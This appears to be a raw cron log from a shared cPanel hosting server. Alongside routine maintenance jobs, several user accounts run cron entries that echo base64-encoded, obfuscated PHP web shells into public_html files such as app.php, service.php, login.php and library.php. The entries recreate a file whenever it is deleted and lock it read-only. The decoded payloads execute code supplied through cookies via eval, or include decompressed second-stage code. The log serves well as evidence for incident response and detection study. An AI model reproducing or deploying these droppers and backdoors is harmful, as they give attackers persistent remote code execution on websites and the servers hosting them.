Apr 19 08:08:02 medusa CROND[10275]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:08:02 medusa CROND[10278]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:09:01 medusa CROND[908]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:09:01 medusa CROND[909]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:09:01 medusa CROND[910]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:09:01 medusa CROND[912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:09:01 medusa CROND[913]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:09:01 medusa CROND[915]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:09:01 medusa CROND[916]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:09:01 medusa CROND[917]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 19 08:09:01 medusa CROND[918]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:09:01 medusa CROND[919]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 08:09:01 medusa CROND[924]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:09:01 medusa CROND[914]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:09:01 medusa CROND[933]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:10:01 medusa CROND[23676]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 08:10:01 medusa CROND[23750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:10:01 medusa CROND[23805]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 08:10:01 medusa CROND[23808]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 08:10:01 medusa CROND[23809]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 08:10:01 medusa CROND[23810]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:10:01 medusa CROND[23811]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 08:10:01 medusa CROND[23812]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:10:01 medusa CROND[23813]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 08:10:01 medusa CROND[23815]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:10:01 medusa CROND[23820]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 08:10:01 medusa CROND[23822]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:10:01 medusa CROND[23821]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 08:10:01 medusa CROND[23826]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:10:01 medusa CROND[23819]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:10:01 medusa CROND[23825]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 08:10:01 medusa CROND[23823]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 08:10:01 medusa CROND[23833]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:10:01 medusa CROND[23838]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 08:10:01 medusa CROND[23843]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:10:01 medusa CROND[23845]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:10:01 medusa CROND[23846]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 08:10:01 medusa CROND[23848]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
